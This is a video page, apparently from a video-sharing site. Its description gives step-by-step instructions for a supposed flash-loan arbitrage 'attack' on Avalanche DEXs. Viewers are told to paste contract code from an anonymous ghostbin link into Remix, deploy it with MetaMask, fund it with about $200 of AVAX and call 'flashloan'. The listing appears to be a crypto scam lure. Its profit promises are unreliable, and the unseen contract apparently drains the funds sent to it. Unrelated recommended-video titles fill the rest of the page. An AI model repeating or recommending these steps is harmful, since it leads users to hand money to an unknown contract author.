Premium Only Content
AVAX - Avalanche: How to setup a Multi DEX arbitrage attack using solidity
In this video you will see how to setup an arbitrage attack on two DEXs; You will create the coin on Pangolin and then trade this coin rapidly against SushiSwap. Be sure to make sure that you have metamask connected to Avalanche Mainnet and have AVAX in your wallet to fund the transaction.
NEW GAS FEE REQUIRED: APPROX 2.94 AVAX
***Note: AVAX must be withdrawn to ‘AVAX C-Chain’. which is EVM/Metamask compatible chain
Setup Metamask to connect to Avalanche Mainnet –
https://support.avax.network/en/articles/4626956-how-do-i-set-up-metamask-on-avalanche
Smart Contract Code Link –
https://ghostbin.com/8M1iK/raw
Remix Link –
http://remix.ethereum.org/
Pangolin –
https://pangolin.exchange/
Pangolin Github –
https://github.com/pangolindex
Flash Loan Explanation –
https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
USD to AVAX –
https://coincodex.com/convert/avalanche/usd/
TO EARN MORE THAN THE AMOUNT THE VIDEO YOU CAN CREASE GAS FEE
In this video, you can see how I used Flashloans to Arbitrage in Avalanche Mainnet by deploying Contract/Token to mask our arbitrage attack against Pangolin.
This worked for me. But Y IT AT YOUR OWN RISK.
STE:
Before starting, install and setup MetaMask in Chrome Browser.
Open and setup Remix in browser (
https://remix.ethereum.org
)
Copy the Contract code (
https://ghostbin.com/8M1iK/raw
)
Create new file in Remix and paste Contract code and wait for everything to load, Go to Solidity Compiler and Select compiler to 0.5.0+commit version and hit Compile.
In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask. On Deploy, Enter your token details and deploy the contract
Get the Contract address from Remix
Send 200$ish of Avalanche/AVAX to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools.
Call ‘flashloan’ function in Remix.
-
11:07
TimcastIRL
1 day agoElon Musk Suggests He’ll BUY MSNBC, Joe Rogan Will REPLACE Rachel Maddow
49.6K48 -
34:24
The Rubin Report
21 hours agoFormer CEO: The Aftermath of Vice Media & What's Next for Mainstream Media | Shane Smith
67.3K28 -
9:14:23
tacetmort3m
1 day ago🔴 LIVE - BECOMING THE UNTOUCHABLE (RADIATION WHO?) - STALKER 2 - PART 3
23.2K4 -
16:05
China Uncensored
17 hours agoAnother Car-Ramming Strikes Outside a Chinese School!
16.6K12 -
9:26
Dr. Nick Zyrowski
8 hours agoAnti Inflammatory Foods | You MUST Eat These!
12.3K4 -
15:40
Bearing
4 hours agoEnd Stage Trump Derangement | Rosie O'Donnell is NOT Doing Well 😬
13.9K69 -
35:19
hickok45
7 hours agoSunday Shoot-a-Round # 256
22.3K26 -
41:20
PMG
19 hours ago $0.95 earned"The No B.S. Guide to Getting Your Life together in 2024!"
14.4K -
14:22
Forrest Galante
19 hours agoDoes The Megalodon Still Exist?
106K29 -
26:48
Stephen Gardner
13 hours ago🔥BREAKING: Vladimir Putin JUST shocked NATO | Will only negotiate with Trump!
149K378